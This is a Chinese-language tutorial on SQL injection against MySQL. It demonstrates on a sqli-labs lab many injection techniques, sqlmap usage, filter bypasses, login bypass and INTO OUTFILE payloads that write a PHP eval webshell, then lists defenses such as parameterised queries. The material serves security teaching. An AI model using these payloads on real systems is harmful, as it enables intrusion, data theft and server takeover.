SQL注入漏洞发现和利用,以及SQL注入的防护
一、背景
SQL注入漏洞是一种常见的软件安全问题,它发生在应用程序的数据库层中。其核心原理是将用户输入的数据当做代码来执行,违反了“数据与代码分离”的原则。具体来说,攻击者通过构造恶意的SQL查询语句,使得应用程序在执行SQL查询时,将攻击者的恶意代码当作正常的SQL查询语句执行,从而获取敏感数据或者破坏系统。
攻击者利用SQL注入漏洞,可以非法获取网站控制权,甚至获取用户的敏感信息。因此,了解SQL注入漏洞的原理、发现方法以及防护措施是非常重要的。
接下来我们了解一下SQL注入发生的原理:
二、原理
接下来我们以MySql数据库为例,MySQL数据库有一个特殊的结构是information_schema数据库,information_schema数据库的有如下结构:
information_schema
tables
table_schema(表对应的数据库)
table_name (所有表名)
columns
table_schema(表对应的数据库)
table_name (所有表名)
column_name (所有列名)
schemata (包含所有数据库的名)
schema_name 数据库名
2.1 我们以正常的SQL为例
例如:select * from tb where username like “%${name}%”;这是以MyBatis为例,在查询数据库的时候使用 ${} 维符号实现SQL语句拼接,此时程序输入参数name=“测试” 那么在业务SQL中会拼接如下:select * from tb where username like “%测试%”;
正因为 ${} 这样直接使用字符串替换且未对用户输入参数进行处理的方式存在,攻击者就可以构造一些恶意的代码比如输入name =1%" or 1=1 --+ 这样拼接的SQL就会如下:select * from tb where username like “%1%” or 1=1 --+%"; 这样SQL语句在直接username like "%1%"没有查询到值的情况下,就会执行where 1=1,就会查到数据库中其他所有的值。
基于如上的原理我们可以构造更加复杂的SQL语句,实现获取更多敏感数据,甚至进一步入侵网站。
2.2 对SQL注入产生原因进行分析
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者的输入就会直接被数据库引擎执行,获取或修改数据库中的数据。此外,如果代码中进行了过滤,但是过滤不严格,攻击者还可以通过控制参数和拼接语句来猜解数据库和绕过认证。
接下来我们演示一下如何发现和利用SQL注入漏洞
三、漏洞发现及利用
SQL注入需要遵循以下步骤,首先发现注入点,第二、获取数据库信息,第三、获取对应数据库表信息、第四、获取某一个具体表信息,第五,获取某一个表字段信息
3.1 联合注入
主要是采用数据库字段union ,联合另外一个SQL进行执行,让正常的业务SQL执行没有返回值,那么就会将union联合的SQL执行并回显,
就比如:
id=0’ union select 1,2,concat_ws(‘-’,user(),database(),version()) --+ 使用联合注入查看数据库名称
id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+ 现在我们知道数据库是security,然后我们要查看这个数据库有哪些表
id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘user’ --+ 查看这个表中有哪些列内容
id=0’ union select 1,(select group_concat(username,password) from users),user() --+ 查询具体表中的数据,然后通过串联成一个字符串进行显示
//注意在使用查询的时候,如果有字段是关键字,会导致查询报错怎么办,使用 table.column 及在写查询行数据的时候 表名.字段名 这样可以避免 字段是关键字的问题。
3.2 报错注入
在许多情况下,Web程序没有正常显示错误回显,这使得我们可以利用报错注入的方式来进行SQL注入。具体来说,攻击者通过构造特殊的SQL语句,插入恶意代码,尝试触发数据库报错并显示报错信息。然后,攻击者根据报错信息判断注入是否成功,并获取到数据库中的敏感信息。需要注意的是,报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的。
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database())))-- - 查询数据库
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_name=‘ctf’)))-- - 查询表
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select group_concat(flag) from ctf)))-- - 查询字段
http://192.168.244.100:83/Less-5/?id=1’ and extractvalue(1, concat(0x5c, (select substr(group_concat(flag),20,99) from ctf)))-- - 由于字段过长进行字段拼接
3.3 布尔盲注
攻击者通过构造特定的SQL语句,通过判断某个条件的真假来获取数据库中的信息。在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。基于布尔的盲注指的是Web的页面仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
http://192.168.244.100:83/Less-8/?id=1’ and (ascii(substr(database(),1,1))>95)-- -
回显正常,database()第一个字母ascii大于95
http://192.168.244.100:83/Less-8/?id=1’ and (ascii(substr(database(),1,1))>120)-- -
回显异常,database()第一个字母ascii小于120
3.4 时间盲注
这种攻击方法根据页面的响应时间来判断是否存在注入。具体来说,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分
http://192.168.244.100:83/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>99,1,sleep(3))-- -
页面响应无卡顿,database()第一个字母ascii大于99
http://192.168.244.100:83/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>120,1,sleep(3))-- -
页面响应卡顿3秒,database()第一个字母ascii小于120
3.5 直接写入php木马文件
通过SQL语句向指定路径写入文件
http://192.168.244.100:83/Less-1/?id=1’ union select 1,‘<?php eval($_POST[1]);phpinfo();?>’,3 into outfile ‘/var/www/html/upload/kkk.php’-- - 向一个指定路径下下入kkk.php ,内容就是PHP的一句话木马
password=123&username=1’union%0bselect%0b’<?=eval($_POST[1]);?>‘,1%0binto%0boutfile%0b’/var/www/html/x.php’%23 也是向指定目录下写入PHP的一句话木马
这样就可以使用中国蚁剑进行连接,从而控制服务器的目的。
3. 6万能密码
再知道用户名不知道密码的情况下,构造SQL语句屏蔽后续验证密码的SQL语句
http://192.168.244.100:83/Less-11/
用户名: admin’ or 1#
密码: 随便输入
登陆后下翻页面可以看到SuccessFully
3.7 UA头&Cookie注入
UA头注入
http://192.168.244.100:83/Less-18/
开启抓包
用户名: admin
密码: admin
登陆
在包体中更改UA头部分,单引号显示报错
然后更改并闭合UA头
1’,1,updatexml(1,concat(0x3a,(select database())),1)||‘1’='1
即可达到报错注入的效果
3.9 Cookie注入
http://192.168.244.100:83/Less-20/
用户名: admin
密码: admin
登陆
开启抓包,刷新界面后
在包体中更改Cookie部分,单引号显示报错
Cookie部分替换为
uname=admin’ and updatexml(1,concat(0x3a,(select database())),1)||‘1’='1
即可达到报错注入的效果
3.10 异或注入
异或运算的规则是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1)。同时,对于空值(null)与任何条件的异或运算结果都为null。因此,在SQL注入过程中,通过应用异或逻辑,我们可以改变原有的SQL查询语句,从而使得原本被过滤或屏蔽的关键字能够被执行
http://192.168.244.100:83/Less-yh/?id=1^(length(database())>0)-- -
http://192.168.244.100:83/Less-yh/?id=1^(length(database())>999)-- -
异或注入 1^ 0 = 1 1^1=0 当后面的语句正确时候无回显 当后面的语句错误时候有回显
3.11 二次注入
在于知道用户名,重新注册用户的时候,在用户名上机型设计,让新用户登录可以关联到原有用户上面,而不需要原有账户的密码
有一个用户LTLT 密码123
我们注册一个LTLT’# 密码qwe
当我们登陆进LTLT’#后 更改密码为kkk
那么就会发现LTLT的密码被改位kkk了
3.12 虚表登陆
原本数据库没有这个信息,我们通过自己构造一个虚拟的用户数据进入,确保查询能够正常返回结果
http://192.168.244.100:83/Less-xb/xb.php
用户名: xxx’ union select 1,‘admin_LTLT’,‘qwe’-- -
密码: qwe
原理: 构造了一个虚表,将password列置为我们自定义的字符串
3.13 无列名注入
http://192.168.244.100:83/Less-1/?id=1’ and 0 union select 1,group_concat(
2),3 from (select 1,2 union select * from ctf)a-- -
在不知道列名的情况下,我们通过联合表的方法新构造一个table以及表头,再将我们自定义的列名通过其他方式查询出来
3.14 使用sqlmap进行注入
#获取所有数据库信息
python sqlmap.py -u “url” --dbms=mysql --dbs --batch
#获取security数据库下的表信息
python sqlmap.py -u “url” --dbms=mysql -D “security” --tables --batch
#获取security数据库下的users表下的列信息
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --batch
#获取users表下的字段信息
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” --columns --batch
python sqlmap.py -u “url” --dbms=mysql -D “security” -T “users” -C “id,username,password” --dump --batch
#若是POST请求
1、使⽤"–data"参数
python sqlmap.py -u “url” --data “id=1” --dbs --batch
2、将http请求数据保存下来,然后使⽤"-r"参数进⾏注⼊攻击,注意这里面的post_data.txt是通过bp获取的提交给服务端的信息
python sqlmap.py -r post_data.txt --dbs --batch
3.15 绕过方法总结
绕过空格: // select//xxx//from//yyy//where//ddd=eee
括号 select(xxx)from(yyy)where(ddd=eee)
绕过等号: 可以使用 like regexp
绕过注释符: ||or’0 以闭合后面的单引号
绕过limit 0,1 中的逗号: limit 1 offset 1
绕过ascii: ord
绕过substr: mid left right
四、漏洞防护手段
为了防止报错注入攻击,提供了以下方式:
1.使用PreparedStatement:PreparedStatement可以有效避免SQL注入问题,当数据库在处理一个SQL命令的时候,可以将变量代入指令集,开始实际执行,避免了重复解析SQL的过程。
2.使用存储过程:存储过程也可以防止SQL注入,由于存储过程将查询和数据操作封装在一起,因此减少了未经验证的用户输入直接构成SQL命令的可能性。
3.验证用户输入:这是防止SQL注入最基本也是最重要的方法。开发者需要确保所有从用户接收的输入都经过严格的验证和过滤,以防止恶意代码的执行。
4.使用ORM框架:对象关系映射(ORM)框架如Hibernate和MyBatis等,它们可以帮助开发者更好地管理数据库操作,减少因错误使用SQL语句而引发的安全问题。
5.使用参数化查询:参数化查询可以有效防止SQL注入攻击,因为它将查询和数据分开处理,从而避免了恶意用户输入被解析为SQL代码。
6.限制数据库权限:为数据库账户设置最小权限原则,可以减少潜在的损害。例如,只给予应用程序账户执行其任务所需的最小权限。
7.定期更新和修补系统:这可以帮助及时修复已知的安全漏洞,避免被攻击者利用。
五、总结
SQL注入漏洞的存在对系统乃至整个服务器都会产生严重的危害,有多种方式可以进行SQL注入漏洞的利用,程序在开发过程中零信任用户的输入,对其进行严格的限制,并且采用市面上成熟的框架和成熟的方法(参数化查询)进行sql语句的解析。攻防的方法还在不断的进化,大家对SQL注入有哪些疑问、见解或者最新的攻击方式,请评论区进行留言。
相关文章:
SQL注入漏洞发现和利用,以及SQL注入的防护
一、背景 SQL注入漏洞是一种常见的软件安全问题,它发生在应用程序的数据库层中。其核心原理是将用户输入的数据当做代码来执行,违反了“数据与代码分离”的原则。具体来说,攻击者通过构造恶意的SQL查询语句,使得应用程序在执行SQ…...
Jmeter 分布式压测
为什么要分布式 jmeter是100%纯java开发的程序,虚拟用户是以线程实现的,在大量并发情况下,很容易出现CPU、内存消耗过大的问题,甚至会出现java内存溢出。一般一台电脑设置500-600线程数即可,如果超过1000线程…...
Docker 安装 Apache
目录 拉取官方 Apache 镜像 查看本地镜像 列出正在运行的容器 运行 Apache 容器 创建一个 HTML 文件:index.html 访问 Apache 拉取官方 Apache 镜像 查找 Docker Hub 上的 httpd 镜像。 可以通过 Tags 查看其他版本的 httpd,默认是最新版本 httpd…...
python变量、常量、数据类型
一、变量 变量是存储在内存中的值,这就意味着在创建变量时会在内存中开辟一个空间。 基于变量的数据类型,解释器会分配指定内存,并决定什么数据可以被存储在内存中。 因此,变量可以指定不同的数据类型,这些变量可以…...
注册中心CAP架构剖析
Nacos 支持 AP 或 CP AP Nacos 通过临时节点实现 AP 架构,将服务列表放在内存中; CP Nacos 通过持久化节点实现 CP 架构,将服务列表放在文件中,并同步到内存,通过 Raft 协议算法实现; 通过配置 epheme…...
SVN创建分支
一 从本地创建方式可指定版本号进行分支创建。 1、在本地目录右击 -----> 点击branch/tag(分支/标签) From: 源,可指定具体的版本号, To path: 可通过"..."选择分支路径 最后点击确定,交由服务器执行创建。 二 通过SVN客…...
Vue 设置v-html中元素样式
使用方式: <<< img { max-width: 100% } 如:要将v-html中的图片元素(img)的最大宽度设置为100%. <template><div ><div class"rtfDiv book" v-html"content"></div></div> </template&…...
连接服务器的脚本
对于记不住的服务器密码且不愿用三方工具俺简单写了个脚本(检测下最近shell脚本的学习效果咋样) expect 是处理交互的一种脚本语言,spawn启动指定进程 -> expect获取指定关键字 -> send想指定进程发送指定指令 -> 执行完成后退出 sp…...
ChatGPT/GPT4丨编程助手;AI画图;数据分析;科研/项目实现;提示词工程技巧;论文写作等
ChatGPT 在论文写作与编程方面也具备强大的能力。无论是进行代码生成、错误调试还是解决编程难题,ChatGPT都能为您提供实用且高质量的建议和指导,提高编程效率和准确性。此外,ChatGPT是一位出色的合作伙伴,可以为您提供论文写作的…...
35的程序员被辞了可以自己接外包啊?为什么都那么悲观呢?
35的年纪,上有老下有小,即将步入中年危机,在这个节骨眼上被辞,能不悲观吗? 在这个年纪人们往往追求的是稳定的工作和生活,而进入一个自己不熟悉的行业并不是一个好的选择。 况且,你认为的外包…...
2020年09月 Scratch(三级)真题解析#中国电子学会#全国青少年软件编程等级考试
Scratch等级考试(1~4级)全部真题・点这里 一、单选题(共25题,每题2分,共50分) 第1题 执行下面程序,屏幕上最多会看到多少个苹果? A:10个 B:11个 C:1个 D:无法确定 答案:B 第2题 关于下面程序,说法正确的是 ? A:执行 后,马上执行...
SpringBoot面试之SpringBoot自动装配原理
SpringBoot自动装配原理 背景 最近因为各种原因,我又重新加入到了找工作的大军当中。昨天在面试的时候与面试官聊到我们项目都是基于SpringBoot开发的,然后面试官就顺口问了句:”SpringBoot项目会引入许多的starter,比如&#x…...
JavaScript:监听事件
该方法用于向浏览器窗口注册事件监听器,当指定的事件(如单击、按键按下)被触发时,浏览器会自动调用指定的函数(回调函数)。 window.addEventListener(event, function, useCapture); 参数说明:…...
编写SQL语句,场景:从一张表中查询某字段是逗号分隔的集合值,需要遍历集合内每个值,将其作为条件去查询另一张表,最终返回列表
目录 场景编写SQL分页获取该开票单号下的所有订单列表使用子查询和 in 字句使用 find_in_set 场景 从一张表中查询某字段是逗号分隔的集合值,需要遍历集合内每个值,将其作为条件去查询另一张表,最终返回列表 编写SQL 分页获取该开票单号下…...
单链表相关面试题--7.链表的回文结构
7.链表的回文结构 链表的回文结构_牛客题霸_牛客网 (nowcoder.com) /* 解题思路: 此题可以先找到中间节点,然后把后半部分逆置,最近前后两部分一一比对,如果节点的值全部相同,则即为回文。 */ class PalindromeList…...
JUC(Java Util Concurrent)多线程并发库
JUC(Java Util Concurrent)是Java中用于编写多线程并发程序的库。开发过程中使用JUC主要有以下几个好处: 1. 提高程序性能:使用JUC可以实现多线程并发执行,充分利用多核CPU,提高程序的性能。 2. 简化代码…...
如何在Linux系统上检测GPU显存和使用情况?
如何在Linux系统上检测GPU显存和使用情况? 在Linux系统上,你可以使用一些命令行工具来检测GPU显存和使用情况。以下是一些常用的方法: 1. 使用nvidia-smi(仅适用于NVIDIA GPU) 如果你使用的是NVIDIA的显卡࿰…...
Django 入门学习总结5
修改polls/detail.html文件,写一个表单: <form action"{% url polls:vote question.id %}" method"post"> {% csrf_token %} <fieldset> <legend><h1>{{ question.question_text }}</h…...
FileNotFoundError: [Errno 2] No such file or directory: ‘patchelf‘: ‘patchelf‘
sudo apt-get install patchelf...
『new Date 在 IOS 失效 の bug』
问题:new Date()在安卓下正常,在IOS下显示不出来。 原因:在IOS下,new Date(“2000-2-22 00:10”),返回的是undefined,因为IOS不支持这种类型格式。 解决:更换下格式:new Date(“2000/2/22”) …...
CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
CVPR 2025 | MIMO:支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题:MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者:Yanyuan Chen, Dexuan Xu, Yu Hu…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...
Frozen-Flask :将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)
文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...
解读《网络安全法》最新修订,把握网络安全新趋势
《网络安全法》自2017年施行以来,在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂,网络攻击、数据泄露等事件频发,现行法律已难以完全适应新的风险挑战。 2025年3月28日,国家网信办会同相关部门起草了《网络安全…...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...
MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...
